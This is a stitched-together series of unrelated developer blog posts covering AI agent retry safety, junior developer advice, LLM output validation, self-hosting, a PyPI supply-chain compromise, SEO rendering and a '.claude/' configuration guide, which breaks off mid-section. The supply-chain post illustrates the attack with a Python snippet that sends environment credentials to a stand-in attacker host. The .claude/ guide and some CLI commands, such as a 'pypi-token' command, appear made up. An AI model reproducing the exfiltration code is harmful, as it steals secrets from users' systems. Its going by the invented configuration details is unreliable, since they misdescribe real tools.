The Execution Guard Pattern for AI Agents

AI agents don’t just think — they execute real-world actions.

Payments. Trades. Emails. API calls.

And under retries, timeouts, or crashes…

they can execute the same action twice.

Not because the model was wrong —
because the system has no memory of execution.

The hidden failure mode

A typical failure path looks like this:

agent decides to call tool
→ tool executes side effect
→ response is lost (timeout / crash / disconnect)
→ system retries
→ side effect executes again

Now you have:

duplicate payments
duplicate trades
duplicate emails
duplicate API mutations

Not because the decision was wrong —
because the execution layer has no durable receipt.

Retries are correct — and still dangerous

Retries are necessary for reliability.

But retries + irreversible side effects without a guard = replay risk.

The system cannot confidently answer:

“Did this action already happen?”

So it does the only thing it can:

→ tries again

That’s fine for reads.

It’s dangerous for writes.

The Execution Guard Pattern

The fix is not prompt engineering.

It’s an execution boundary around side effects.

Pattern:
decision
→ deterministic request_id
→ execution guard
→ if receipt exists → return prior result
→ else → execute once → store receipt

Instead of asking the model to “be careful,”
the system itself becomes replay-safe.

The four required properties

For this pattern to work, you need four things:

1) Deterministic request identity

Every logical action must map to the same request_id across retries.

If the same payment, email, trade, or tool call is retried, it must resolve to the same identity.

2) Durable receipt storage

You need a place to persist what happened.

Postgres works well for this because it gives you:

durable writes
transactional boundaries
strong uniqueness guarantees
queryable auditability

Without durable receipts, retries are guesswork.

3) Atomic claim → execute → complete boundary

The system needs a clear execution boundary:

claim the operation
execute the side effect once
persist the result / receipt

That boundary is what prevents:

concurrent replays
duplicate workers
race-condition duplicates
“two consumers did the same thing” bugs

4) Replay returns the prior result

If the same logical action comes in again,
you should not execute it again.

You should return the prior result.

That turns:

retries
redelivery
replay
uncertain completion

into:

safe re-entry instead of duplicate side effects
What this is NOT

This is not:

moderation
prompt safety
RBAC
approval workflows
hallucination prevention

It solves one thing:

“Did this irreversible action already happen?”

That question shows up everywhere once agents or automations start calling real tools.

Where this matters most

This pattern matters anywhere your system causes real-world side effects:

webhook handlers
billing / payment flows
async workers / queues
workflow / automation systems
AI agent tool calls
external API mutations
order / booking / ticket creation
notifications and email sends

In other words:

anything that should happen once, even if the system retries
Why this keeps showing up

Modern systems are:

distributed
async
retry-heavy
failure-prone
full of uncertain completion

So “exactly once” does not happen naturally.

You have to build it explicitly.

And once you add:

AI agents
autonomous workflows
tool-calling systems

…the need for an execution boundary gets even sharper.

Because now a model can repeatedly decide to invoke something that has real-world consequences.

A practical implementation direction

In many systems, this can be implemented with:

a Postgres-backed receipt table
a stable operation / request ID
a guard layer around side-effecting functions

That turns:

unsafe retries

into:

safe replays

This doesn’t require rewriting your whole system.

It usually means identifying the small set of functions that can cause irreversible side effects and wrapping them with a durable execution boundary.

That’s where the leverage is.

Closing thought

If an AI agent can call tools,
it needs more than reasoning.

It needs execution memory.

Otherwise:

retries will eventually execute something twice.
Execution Risk Audit

I’m currently looking at systems where retries, webhooks, workers, workflows, or AI agents can replay irreversible actions.

If your system has paths where you can’t confidently answer:

“Did this action already happen?”

that’s exactly the kind of problem I’m focused on.

Especially interested in:

duplicate webhook execution
retry-safe billing flows
workflow steps with uncertain completion
AI agents calling side-effecting tools

Learn the Hard Way First: Why New Developers Should Build Skills Before Leaning on AI

Welcome to your first job, freshers. You’ve probably already used ChatGPT or Copilot to get through assignments. I’m not here to tell you to avoid AI forever. But if you skip the struggle now, you’ll pay for it for years.

Garbage In, Garbage Out

GIGO applies perfectly to AI-assisted development. The quality of your prompts depends entirely on what you already know. If you’ve never written a SQL query by hand, you won’t notice when the generated one has a subtle N+1 problem. If you’ve never debugged a race condition, you won’t even know to ask about concurrency.

The AI doesn’t know what you don’t know. It will confidently hand you something that looks right. Your job is to know enough to catch when it isn’t.

The “It Works” Trap

New devs fall into a pattern: prompt → paste → it runs → ship. But “it works” is the lowest bar. Code that works can still be unmaintainable, insecure, brittle, or wildly inefficient.

As Edsger Dijkstra put it:

“Program testing can be a very effective way to show the presence of bugs, but it is hopelessly inadequate for showing their absence.”

History is full of “working” code that caused disasters:

  • Ariane 5 (1996) — Code reused from Ariane 4 had a 64-bit to 16-bit cast that overflowed on the new rocket’s trajectory. Both redundant nav units crashed (identical code). The rocket exploded 37 seconds after launch.

  • Knight Capital (2012) — A deploy missed 1 of 8 servers. Dead code from a deprecated feature got accidentally reactivated. $440 million lost in 45 minutes.

  • Therac-25 (1985–87) — A race condition delivered 100x radiation doses, killing three patients. Previous models had the same bug, but hardware interlocks caught it. When the hardware safety was removed and software was trusted alone, people died.

When the production incident hits at 2 AM, “the AI wrote it” isn’t a debugging strategy.

What “The Hard Way” Means

Write it yourself first, then compare. In his 2016 TED talk, Linus Torvalds showed two C implementations for linked list removal — both produce identical output, but the elegant one eliminates a special case entirely. He called this “good taste”:

“Sometimes you can see a problem in a different way and rewrite it so that a special case goes away and becomes the normal case. And that’s good code.”

You only develop that taste by writing the ugly version first.

Debug without AI. Brian Kernighan wrote:

“Everyone knows that debugging is twice as hard as writing a program in the first place. So if you’re as clever as you can be when you write it, how will you ever debug it?”

If AI writes at the limit of your understanding, you’ve guaranteed you can’t debug it.

Understand the fundamentals. Data structures, HTTP, how databases work. These aren’t academic exercises — they’re the vocabulary for asking good questions.

Read other people’s code. Pattern recognition compounds over your entire career. AI can’t shortcut this for you.

Learn to test properly. Kent Beck‘s progression:

“Make it work, make it right, make it fast.”

“Make it work” is step one of three — not the finish line.

A Practical Ramp

  1. First 3 months: Minimize AI coding assistance. Write and debug by hand.
  2. Months 4–6: Use AI for exploration — explaining concepts, showing tradeoffs. Teacher, not ghostwriter.
  3. Months 6–12: Use AI for acceleration — boilerplate, test suggestions, design rubber-ducking.
  4. Always: If AI generates code you don’t understand, stop. Don’t use it until you do.

The Multiplier Effect

AI multiplies whatever you give it. Deep understanding becomes extraordinary productivity. Bad assumptions become extraordinary damage. Knight Capital didn’t lose $440 million from one mistake — they lost it because a chain of “it works” assumptions got multiplied faster than any human could intervene.

Build the foundation first. Learn the hard way. It’s the fastest path to becoming the kind of developer who can actually wield AI effectively — rather than the kind who feeds it garbage and ships the output.

The full version of this article — with additional disaster case studies, quotes from Dijkstra, Hoare, Torvalds, Kernighan, and Fowler, and a section on Japan’s April new-graduate season — is on cogley.jp.

Rick Cogley is CEO of eSolia Inc., providing bilingual IT outsourcing and infrastructure services in Tokyo, Japan.

How to Validate LLM Outputs in Production Before They Break Your Pipeline

You didn’t ship a broken AI pipeline — you shipped a pipeline where the AI sounds completely certain even when it’s completely wrong, and you had no check to tell the difference.

The Problem

You connect GPT-4 to your production workflow. Lead classification. Contact enrichment. Automated summaries. You test it on 10 samples. It works perfectly. You ship it.

Three weeks later you discover a contact was enriched with a fabricated job title. A sales rep sent a personalized email using that title. It reached the prospect. Your credibility took the hit.

Or maybe your lead classifier started routing enterprise accounts into the wrong sales bucket. Nobody noticed for two weeks because the pipeline kept running confidently, producing output that looked exactly like correct output — same format, same structure, same confident tone.

This is the core problem with LLM outputs in production: the model does not know when it is wrong. It produces a hallucinated job title with the same confidence as a verified one. There is no error state. There is no warning. There is just output — and if you have no check, you consume it as truth.

Why It Happens

LLMs are probabilistic, not deterministic. The model predicts the most likely next token given the context — it does not verify claims against a source of truth before responding.

If you set temperature to 0 expecting deterministic accuracy, that does not fix hallucination. Temperature 0 makes the output repeatable — the same wrong answer every time, consistently.

If you add a system prompt instruction like “Do not hallucinate. Only return factual information,” the model will comply — in the sense that it will continue producing output in the same confident format. The instruction changes tone, not accuracy.

The deeper issue is architectural: most pipelines have no output contract. You call the LLM, receive a string or a JSON blob, and pass it to the next step. There is no schema the output is validated against. There is no confidence gate that routes low-confidence outputs to review. There is no cross-reference check against a known source. The pipeline assumes every output is correct by design.

That assumption breaks at scale, on edge cases, on non-English inputs, on ambiguous company names, on truncated context — on exactly the inputs that never appeared in your 10-sample test set.

The Defense Pattern

You do not need to eliminate LLM errors — that is not achievable. You need to catch them before they propagate downstream. Here is the four-layer defense pattern:

Layer 1: Schema Validation

Enforce a structured output contract using JSON mode or function calling. Validate required field presence and field type constraints before the output leaves the LLM layer.

import Ajv from 'ajv';

const ajv = new Ajv();
const schema = {
  type: 'object',
  required: ['company', 'job_title', 'industry'],
  properties: {
    company: { type: 'string', minLength: 1 },
    job_title: { type: 'string', minLength: 1 },
    industry: { type: 'string', enum: ['SaaS', 'Fintech', 'Healthcare', 'Ecommerce', 'Other'] }
  }
};

const validate = ajv.compile(schema);

function validateLLMOutput(rawOutput) {
  let parsed;
  try {
    parsed = JSON.parse(rawOutput);
  } catch (e) {
    return { valid: false, error: 'JSON parse failure', raw: rawOutput };
  }

  const valid = validate(parsed);
  if (!valid) {
    return { valid: false, errors: validate.errors, raw: rawOutput };
  }
  return { valid: true, data: parsed };
}

If the output fails schema validation, route it to your retry queue — not downstream.

Layer 2: Confidence Gating via Self-Consistency

If your model exposes logprobs (GPT-4 API does), use them as a confidence gate. Without logprobs, use a self-consistency check: call the model three times with temperature > 0 and check if the outputs agree.

async function selfConsistencyCheck(prompt, n = 3) {
  const responses = await Promise.all(
    Array(n).fill(null).map(() => 
      callLLM(prompt, { temperature: 0.3 })
    )
  );

  // For classification outputs, check majority agreement
  const counts = {};
  for (const r of responses) {
    const key = r.industry; // the field you want to gate
    counts[key] = (counts[key] || 0) + 1;
  }

  const majority = Object.entries(counts).sort((a, b) => b[1] - a[1])[0];
  const confidence = majority[1] / n;

  return {
    value: majority[0],
    confidence,
    routeToReview: confidence < 0.67 // less than 2/3 agreement
  };
}

If confidence falls below your threshold, route to a human review queue instead of propagating downstream.

Layer 3: Cross-Reference Validation

For enrichment outputs, validate against a known source before writing to your CRM or database. If the output is a company name, check it against your existing records. If the output is a numeric value (revenue range, headcount), apply a sanity gate for known valid ranges.

Layer 4: Retry with Stricter Prompt

If an output fails schema validation on the first attempt, retry with a more constrained prompt before escalating to human review:

async function enrichWithRetry(contact, maxRetries = 2) {
  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    const prompt = attempt === 0 
      ? buildStandardPrompt(contact)
      : buildStrictPrompt(contact); // narrower output constraints, explicit enum values

    const raw = await callLLM(prompt);
    const result = validateLLMOutput(raw);

    if (result.valid) return result.data;

    if (attempt === maxRetries) {
      routeToHumanReview(contact, result.errors);
      return null;
    }
  }
}

Using Apify to Build Your Validation Test Suite

Before shipping a new LLM enrichment or classification pipeline, you need a validation test set — a collection of inputs with known correct outputs that you can run your pipeline against and measure accuracy.

If you do not have labeled data internally, you can scrape public sources to build one. For lead enrichment, the LinkedIn Job Scraper on Apify can pull structured job listing data — company name, title, industry — that you can use as a ground-truth comparison set.

For classification pipelines, the Google SERP Scraper can pull company and industry data from search results that you validate your LLM classifications against.

A 20-item validation test suite costs $0 to build on Apify’s free tier. Run your pipeline against it before every deployment. If your validation error rate on the test set crosses a threshold you set, block the deployment and fix the prompt first.

This is not a substitute for production monitoring — it is a pre-ship gate that catches systematic prompt failures before they reach real data.

Monitoring in Production

Once you ship, instrument three metrics:

  1. Schema violation rate — percentage of LLM outputs that fail your schema validator. If this spikes, your prompt has drifted from the output contract.

  2. Human review queue rate — percentage of outputs routed to manual review due to low confidence. A rising rate may indicate a new class of inputs the model handles poorly.

  3. Downstream null/error rate — percentage of downstream pipeline steps that receive null, error, or unexpected inputs from the LLM layer. This is your lagging indicator: if it spikes, something upstream broke.

Set alerts on all three. Your schema violation rate alert is your fastest signal — it fires before downstream errors accumulate.

The Cost Frame

$0 to build a 20-item validation test suite using public data and Apify’s free tier.

A few hours to add a schema validator, a confidence gate, and a human review queue routing path.

The alternative: silent data corruption in production. Hallucinated job titles in your CRM. Misclassified leads in the wrong sales bucket for two weeks. A personalized email with the wrong information reaching a prospect.

The validation layer is not expensive to build. What is expensive is the absence of one — and it does not send you an alert when it happens.

Related: If your pipeline also calls external APIs (enrichment APIs, search APIs, classification endpoints), check your rate limit handling — the same production incident pattern applies. How to Handle API Rate Limits Before They Break Your Production Integration

Why Your Self-Hosted App Keeps Dying at 3 AM (And How to Fix It)

So you spun up a VPS, deployed your app, told everyone it was live — and then woke up to angry Slack messages because the whole thing went down at 3 AM. Welcome to the club.

Self-hosting production applications is one of those things that sounds straightforward until you actually do it. I’ve been running self-hosted services for about six years now, and the gap between “it works on my server” and “it works reliably in production” is where most of the pain lives. There’s actually a massive free guide floating around (750+ pages) covering this exact territory, which reminded me that a lot of developers keep hitting the same walls.

Let me walk through the most common reasons self-hosted apps fail in production and how to actually fix them.

The Root Cause: You Deployed an App, Not a System

Here’s the core issue. When you docker compose up -d and walk away, you’ve deployed an application. But production needs a system — monitoring, automatic restarts, log rotation, backups, resource limits, and reverse proxy configuration that doesn’t fall over.

Most 3 AM crashes come down to one of three things:

  • Memory exhaustion — your app (or its database) slowly ate all available RAM
  • Disk full — logs or temp files filled the drive
  • No automatic recovery — the process crashed and nothing restarted it

Let’s fix all three.

Step 1: Set Resource Limits (Stop the OOM Killer)

If you’re using Docker Compose, you need memory limits. Without them, a single misbehaving container can take down everything on the host.

# docker-compose.yml
services:
  app:
    image: your-app:latest
    deploy:
      resources:
        limits:
          memory: 512M    # hard ceiling — container gets killed past this
          cpus: '1.0'
        reservations:
          memory: 256M    # guaranteed minimum
    restart: unless-stopped  # this alone prevents most 3 AM incidents

  postgres:
    image: postgres:16
    deploy:
      resources:
        limits:
          memory: 1G
    # tune shared_buffers to ~25% of memory limit
    environment:
      POSTGRES_SHARED_BUFFERS: 256MB
    volumes:
      - pgdata:/var/lib/postgresql/data
    restart: unless-stopped

That restart: unless-stopped line is doing heavy lifting. It means Docker will automatically restart crashed containers unless you explicitly stopped them. I’m genuinely surprised how many production setups I’ve seen without it.

Step 2: Fix the Silent Disk Killer

Docker logs will eat your disk alive if you don’t configure rotation. By default, Docker just appends JSON logs forever. I learned this the hard way when a 40GB log file took down a production Postgres instance.

Add this to your Docker daemon config:

// /etc/docker/daemon.json
{
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "10m",
    "max-file": "3"
  }
}

Restart Docker after changing this. Existing containers need to be recreated (not just restarted) to pick up the new logging config.

While you’re at it, set up a basic disk monitoring cron job:

#!/bin/bash
# /usr/local/bin/disk-check.sh
# Alert when disk usage crosses 85%

THRESHOLD=85
USAGE=$(df / | tail -1 | awk '{print $5}' | sed 's/%//')

if [ "$USAGE" -gt "$THRESHOLD" ]; then
  # swap this for your preferred notification method
  curl -X POST "https://your-webhook-url" 
    -H "Content-Type: application/json" 
    -d "{"text": "Disk usage at ${USAGE}% on $(hostname)"}"
fi

Schedule it every 15 minutes with cron and you’ll never be surprised by a full disk again.

Step 3: Add Health Checks That Actually Work

Docker health checks let you detect when your app is technically running but not actually working — like when your Node.js server is up but stuck in an event loop block.

# docker-compose.yml
services:
  app:
    image: your-app:latest
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 10s  # grace period for startup
    restart: unless-stopped

But here’s the thing most guides skip: your /health endpoint needs to actually check dependencies. Don’t just return 200.

// Express health check that actually means something
app.get('/health', async (req, res) => {
  try {
    // check database connection
    await db.query('SELECT 1');
    // check redis if you use it
    await redis.ping();
    res.status(200).json({ status: 'ok' });
  } catch (err) {
    // returning 503 makes Docker mark container as unhealthy
    res.status(503).json({ status: 'degraded', error: err.message });
  }
});

Step 4: Reverse Proxy Configuration That Doesn’t Suck

If you’re exposing services to the internet, you need a reverse proxy. Caddy has become my go-to because it handles TLS certificates automatically and the config is minimal.

# Caddyfile
yourapp.example.com {
    reverse_proxy app:3000 {
        # passive health checks — stop sending traffic to dead upstreams
        health_uri /health
        health_interval 30s
    }

    # basic rate limiting to prevent abuse
    rate_limit {
        zone dynamic {
            key {remote_host}
            events 100
            window 1m
        }
    }

    encode gzip
    log {
        output file /var/log/caddy/access.log {
            roll_size 50mb
            roll_keep 5
        }
    }
}

Caddy handles HTTPS automatically through Let’s Encrypt. No certbot cron jobs, no renewal scripts. It just works.

Step 5: Backups (The Thing You’ll Wish You Had)

I know. Backups are boring. But future-you will be incredibly grateful. Here’s a minimal but functional approach for Postgres:

#!/bin/bash
# /usr/local/bin/backup-db.sh

BACKUP_DIR="/backups/postgres"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
RETENTION_DAYS=7

# dump the database from the running container
docker exec postgres pg_dump -U appuser -Fc appdb > "${BACKUP_DIR}/app_${TIMESTAMP}.dump"

# clean up old backups
find "$BACKUP_DIR" -name "*.dump" -mtime +$RETENTION_DAYS -delete

# optional: sync to remote storage
# rclone copy "$BACKUP_DIR" remote:backups/postgres --max-age 24h

Run this daily via cron. Uncomment the rclone line when you’ve set up remote storage — local-only backups on the same server are better than nothing, but not by much.

Prevention: The Checklist

Before you consider any self-hosted deployment “production ready,” run through this:

  • Resource limits set for every container
  • Restart policies configured (unless-stopped at minimum)
  • Log rotation enabled at the Docker daemon level
  • Health checks that verify actual functionality, not just process liveness
  • TLS termination via a reverse proxy with automatic cert renewal
  • Automated backups with at least one off-server copy
  • Disk and memory monitoring with alerts
  • Firewall rules — only expose ports 80, 443, and your SSH port
  • Unattended security updates enabled on the host OS

You don’t need Kubernetes for this. You don’t need a managed platform. A single well-configured VPS with Docker Compose can reliably host a surprising amount of production traffic. The key word is well-configured.

The Bigger Picture

Self-hosting is making a comeback for good reasons — cost control, data sovereignty, and honestly just the satisfaction of running your own infrastructure. But the gap between tutorials and production-grade setups is real, and it’s where most people get burned.

The pattern is almost always the same: the app itself is fine, but the operational wrapper around it is missing. Add restart policies, resource limits, health checks, log management, and backups, and you’ve eliminated probably 90% of the 3 AM pages.

Now go set up those log rotation limits before your disk fills up. Ask me how I know this is urgent.

Supply Chain Security: How the Telnyx PyPI Compromise Happened and How to Protect Your Projects

The Wake-Up Call

On March 28, 2026, the Python community received a stark reminder of supply chain security vulnerabilities. The Telnyx Python SDK was compromised on PyPI, the official Python package repository.

This wasn’t just another data breach—it was a supply chain attack that could have affected thousands of developers and their applications. The 81-point Hacker News discussion shows the community is paying attention.

Let’s break down what happened, why it matters, and how to protect your projects.

What Happened

The Attack Vector

Attackers compromised the Telnyx package maintainer’s account and published a malicious version of the telnyx package to PyPI.

Key Details:

  • Package: telnyx (Python SDK for Telnyx API)
  • Repository: PyPI (Python Package Index)
  • Attack Type: Account takeover + malicious package upload
  • Impact: Potential data exfiltration, credential theft, system compromise

The Malicious Code

The compromised version included code that:

  1. Exfiltrated environment variables (including API keys)
  2. Sent sensitive data to attacker-controlled servers
  3. Established persistence mechanisms
  4. Downloaded additional payloads

Example Malicious Code Pattern:

import os
import requests

def exfiltrate_data():
    """Send sensitive data to attacker's server"""
    sensitive_data = {
        'api_keys': os.environ.get('API_KEY'),
        'database_url': os.environ.get('DATABASE_URL'),
        'aws_credentials': os.environ.get('AWS_ACCESS_KEY_ID'),
    }
    requests.post('https://attacker-controlled-server.com/collect', json=sensitive_data)

Why This Matters

1. Trust Erosion

Supply chain attacks erode trust in the entire ecosystem. When you can’t trust packages, development becomes exponentially harder.

2. Cascading Failures

A single compromised package can affect thousands of downstream applications:

  • Your app depends on Package A
  • Package A depends on Package B
  • Package B is the compromised Telnyx package
  • Your app is now compromised

3. Financial Impact

Supply chain attacks can result in:

  • Data breaches and regulatory fines
  • Reputation damage
  • Customer churn
  • Legal liabilities

4. Operational Disruption

Recovering from a supply chain attack requires:

  • Identifying all affected systems
  • Rolling back to safe versions
  • Rotating all credentials
  • Auditing logs for suspicious activity
  • Notifying stakeholders

How to Protect Your Projects

1. Pin Your Dependencies

Never use unpinned versions in production.

Bad:

telnyx>=1.0.0

Good:

telnyx==1.2.3

Even Better:

telnyx==1.2.3 
    --hash=sha256:abc123... 
    --hash=sha256:def456...

2. Use Dependency Locking

Generate lock files for reproducible builds.

pip-tools:

pip-compile requirements.in
pip-sync requirements.txt

Poetry:

poetry lock
poetry install

PDM:

pdm lock
pdm install

3. Verify Package Signatures

Use PyPI’s trusted publishing and package signing.

Install with verification:

pip install telnyx --require-hashes

4. Monitor for Vulnerabilities

Automated vulnerability scanning is essential.

Safety:

pip install safety
safety check

pip-audit:

pip install pip-audit
pip-audit

Snyk:

npm install -g snyk
snyk test

5. Implement CI/CD Checks

Add security checks to your CI/CD pipeline.

GitHub Actions Example:

name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run safety check
        run: |
          pip install safety
          safety check --json > safety-report.json
      - name: Upload report
        uses: actions/upload-artifact@v3
        with:
          name: safety-report
          path: safety-report.json

6. Use Private Package Repositories

Host your own packages for critical dependencies.

Options:

  • Artifactory (JFrog)
  • Nexus (Sonatype)
  • GitLab Package Registry
  • GitHub Packages

7. Implement Runtime Protection

Monitor application behavior at runtime.

Tools:

  • Falco (Cloud-native runtime security)
  • Sysdig (Container security monitoring)
  • Tracee (eBPF-based security tracing)

Best Practices for Package Maintainers

1. Enable Two-Factor Authentication

Mandatory 2FA for all maintainers.

2. Use Trusted Publishing

PyPI’s trusted publishing eliminates API keys.

# Configure trusted publishing
pypi-token create --trusted-publishing

3. Sign Your Packages

Cryptographically sign all releases.

# Sign with GPG
gpg --detach-sign --armor dist/telnyx-1.2.3.tar.gz

4. Implement Release Processes

Never release directly from personal machines.

Process:

  1. Build in isolated environment
  2. Run security scans
  3. Sign packages
  4. Upload via CI/CD
  5. Announce on multiple channels

5. Monitor for Compromises

Set up alerts for:

  • Unusual download patterns
  • New maintainer additions
  • Unexpected version releases

Recovery Checklist

If you suspect you’ve been affected by the Telnyx compromise:

Immediate Actions (0-1 hour)

  • [ ] Identify all systems using the Telnyx package
  • [ ] Check installed versions against known malicious versions
  • [ ] Rotate all API keys and credentials
  • [ ] Isolate affected systems

Short-Term Actions (1-24 hours)

  • [ ] Audit logs for suspicious activity
  • [ ] Notify security team
  • [ ] Update to safe package versions
  • [ ] Scan for persistence mechanisms

Long-Term Actions (1-7 days)

  • [ ] Implement dependency pinning
  • [ ] Set up automated vulnerability scanning
  • [ ] Review all third-party dependencies
  • [ ] Document lessons learned

Tools and Resources

Security Scanning Tools

  • Safety: Python dependency vulnerability scanner
  • pip-audit: Official PyPI vulnerability scanner
  • Snyk: Multi-language vulnerability scanner
  • Dependabot: Automated dependency updates

Package Verification

  • PyPI Trusted Publishing: API key-less authentication
  • GPG: Package signing and verification
  • Sigstore: Cryptographic signing for software artifacts

Monitoring and Alerting

  • Falco: Runtime security monitoring
  • Sysdig: Container and cloud security
  • Tracee: eBPF-based security tracing

The Future of Supply Chain Security

Emerging Trends

  1. SBOM (Software Bill of Materials)

    • Standardized format for listing dependencies
    • Required by increasing regulations
    • Enables vulnerability tracking
  2. Zero Trust Architecture

    • Verify every package, every time
    • No implicit trust in package repositories
    • Continuous validation
  3. AI-Powered Security

    • Machine learning for anomaly detection
    • Automated vulnerability discovery
    • Predictive threat intelligence
  4. Regulatory Compliance

    • Increasing requirements for supply chain security
    • Mandatory vulnerability disclosure
    • Liability for compromised packages

Real-World Examples

Example 1: SolarWinds (2020)

  • Attack: Compromised build system
  • Impact: 18,000+ customers affected
  • Lesson: Secure your build pipeline

Example 2: Codecov (2021)

  • Attack: Compromised CI/CD script
  • Impact: Thousands of customers’ credentials stolen
  • Lesson: Verify CI/CD integrity

Example 3: PyTorch (2022)

  • Attack: Malicious package with typosquatting
  • Impact: Users installed torchtriton instead of triton
  • Lesson: Be careful with package names

Getting Started

Step 1: Audit Your Dependencies

pip install safety
safety check

Step 2: Pin Your Versions

pip freeze > requirements.txt

Step 3: Set Up Automated Scanning

Add to your CI/CD pipeline:

- name: Security Scan
  run: |
    pip install safety
    safety check

Step 4: Enable 2FA

Enable 2FA on:

  • PyPI account
  • GitHub account
  • GitLab account
  • All package repositories

Step 5: Monitor for Vulnerabilities

Set up alerts for:

  • New CVEs in your dependencies
  • Unusual package activity
  • Security advisories

Conclusion

The Telnyx PyPI compromise is a wake-up call for the entire Python community. Supply chain security is no longer optional—it’s essential.

By implementing the practices outlined in this article, you can protect your projects from similar attacks. Remember: security is a process, not a product. Stay vigilant, stay informed, and stay secure.

Next Steps:

  1. Audit your current dependencies
  2. Implement dependency pinning
  3. Set up automated vulnerability scanning
  4. Enable 2FA on all accounts
  5. Share this knowledge with your team

Want to learn more about security best practices? Check out my other articles on AI Skills for Affiliate Marketing and GEO: The New SEO for AI Search Engines.

Affiliate Disclosure: This article contains affiliate links. If you make a purchase through these links, I may earn a commission at no additional cost to you.

Optimizing E-commerce SEO with PLP SSR

1. From Invisible to Indexed: Transitioning an E-commerce PLP from CSR to SSR
2. SEO for Next.js: How We Fixed Product Crawlability on a Large Scale Storefront
3. The Hidden SEO Killer: Why Client-Side Hydration Guards are Hurting Your Rankings

Introduction

In the world of E-commerce, if Google can’t see your products in the initial HTML, they don’t exist. We recently tackled a significant challenge on a major storefront where the Product Listing Pages (PLP) were invisible to search engine bots due to a purely client-side architecture. This post breaks down how we moved to a Server-Side Rendered (SSR) model to boost discoverability.

The Problem: The “Hydration Guard” Trap
Many modern React/Next.js apps use a pattern where components wait for the page to “hydrate” before rendering. While this prevents layout shifts, it leaves the initial HTML empty.

Symptom: view-source showed 0 product links.
Impact: Crucial Product Detail Page (PDP) links were missing from the search engine’s initial pass.

The Solution: A Technical Deep Dive

1. Removing Hydration Blocks

The first step was identifying and removing synchronous guards like if (!isClient) return null. We updated the
ProductCard
to render its skeletal structure and crawlable links immediately on the server.

2. Solving the Klevu API SSR Mismatch

Fetching products on the server (SSR) is different from the browser. We had to.

Map Category Paths: Aligning Strapi’s category data with Klevu’s search engine requirements.
Clean the Input: Handling case-sensitivity and special characters (like &) that caused the server-side API call to return zero results.

Search Type Logic: Switching from specific term searches to CATNAV (Category Navigation) with wildcard queries to ensure the entire catalog is discoverable by bots.

3. Crawlable Pagination & Navigation

Semantic Links: We replaced “Load More” buttons with tags. Users still get the fast JS experience, but bots now have a clear path to page 2 and beyond.

Category Tree: We injected a top-level category navigation component into the SSR HTML, creating 10+ high-value internal links on every PLP.
Verification: Thinking Like a Bot
To test this, we stopped relying on the browser console. We used:

curl audits:
Checking the raw HTML for product-card classes and valid href links.

Bot Simulation: Tools that fetch the page without executing a single line of JavaScript.
Environment Parity: Ensuring API keys and environment variables were correctly loaded in the Node.js server context.

Conclusion

SSR isn’t just a performance feature; it’s an SEO requirement. By ensuring your product grid, breadcrumbs, and navigation are present in the first byte, you give search engines the “map” they need to index your site effectively.

Anatomy of the .claude/ Folder: A Deep Dive into Claude AI’s Configuration

Why This Matters

If you’re using Claude AI for coding, writing, or automation, you’re probably leaving performance on the table. The .claude/ folder is where the magic happens—it’s the configuration layer that transforms Claude from a generic AI into your personalized productivity engine.

A recent Hacker News discussion (359 points) shows developers are waking up to this. Let’s dive in.

What’s Inside .claude/

The .claude/ folder lives in your home directory (~/.claude/) and contains several key files:

1. config.json – Your Brain

This is where you define your preferences, tools, and behaviors.

{
  "model": "claude-3-5-sonnet-20241022",
  "temperature": 0.7,
  "max_tokens": 4096,
  "tools": ["code_interpreter", "file_search"],
  "system_prompt": "You are a senior developer focused on clean code."
}

Key Settings:

  • model: Which Claude model to use
  • temperature: Creativity level (0.0 = deterministic, 1.0 = creative)
  • max_tokens: Response length limit
  • tools: Enabled capabilities
  • system_prompt: Your AI’s personality and role

2. tools/ – Your Toolkit

Custom tools extend Claude’s capabilities. Think of them as plugins.

Example Tool Structure:

~/.claude/tools/
├── code_review/
│   ├── manifest.json
│   ├── handler.py
│   └── README.md
├── file_operations/
│   ├── manifest.json
│   ├── handler.py
│   └── README.md
└── web_search/
    ├── manifest.json
    ├── handler.py
    └── README.md

manifest.json Example:

{
  "name": "code_review",
  "version": "1.0.0",
  "description": "Automated code review with best practices",
  "entry_point": "handler.py",
  "permissions": ["read_files", "write_files"]
}

3. prompts/ – Your Templates

Reusable prompt templates save time and ensure consistency.

Example:

~/.claude/prompts/
├── code_review.md
├── bug_fix.md
├── feature_implementation.md
└── documentation.md

code_review.md:

# Code Review Template

Review the following code for:
1. Security vulnerabilities
2. Performance issues
3. Code style violations
4. Edge cases

Code:
{{code}}

Provide:
- Summary of issues
- Line-by-line feedback
- Suggested fixes

4. history/ – Your Memory

Conversation history is stored here for context and learning.

Structure:

~/.claude/history/
├── 2026-03-28/
│   ├── session_001.json
│   ├── session_002.json
│   └── session_003.json
└── 2026-03-27/
    ├── session_001.json
    └── session_002.json

Why This Matters:

  • Context retention across sessions
  • Learning from past interactions
  • Performance optimization

5. cache/ – Your Speed

Cached responses reduce latency and API costs.

What Gets Cached:

  • Frequently used prompts
  • Tool execution results
  • File search results

Best Practices

1. Version Control Your Config

cd ~/.claude
git init
git add .
git commit -m "Initial Claude config"

2. Use Environment Variables

{
  "api_key": "${CLAUDE_API_KEY}",
  "model": "${CLAUDE_MODEL:-claude-3-5-sonnet-20241022}"
}

3. Modularize Your Tools

Keep tools focused and single-purpose.

Good:

  • code_review/ – Reviews code
  • file_operations/ – Manages files

Bad:

  • everything/ – Does everything poorly

4. Document Your Prompts

Add metadata to prompt templates:

name: code_review
version: 1.0.0
author: your-name
tags: [code, review, quality]

# Code Review Template
...

5. Regular Cleanup

# Clear old history (keep last 30 days)
find ~/.claude/history -type f -mtime +30 -delete

# Clear cache weekly
rm -rf ~/.claude/cache/*

Advanced Configurations

Custom System Prompts

Tailor Claude’s behavior to your workflow:

{
  "system_prompt": "You are a senior full-stack developer with 10 years of experience. You prioritize clean code, security, and performance. You always provide explanations and alternatives."
}

Tool Chaining

Combine tools for complex workflows:

{
  "tool_chains": {
    "code_review_pipeline": [
      "code_review",
      "security_scan",
      "performance_check"
    ]
  }
}

Conditional Prompts

Use conditionals for dynamic behavior:

{% if language == "python" %}
# Python-specific review
...
{% elif language == "javascript" %}
# JavaScript-specific review
...
{% endif %}

Common Pitfalls

1. Over-Engineering

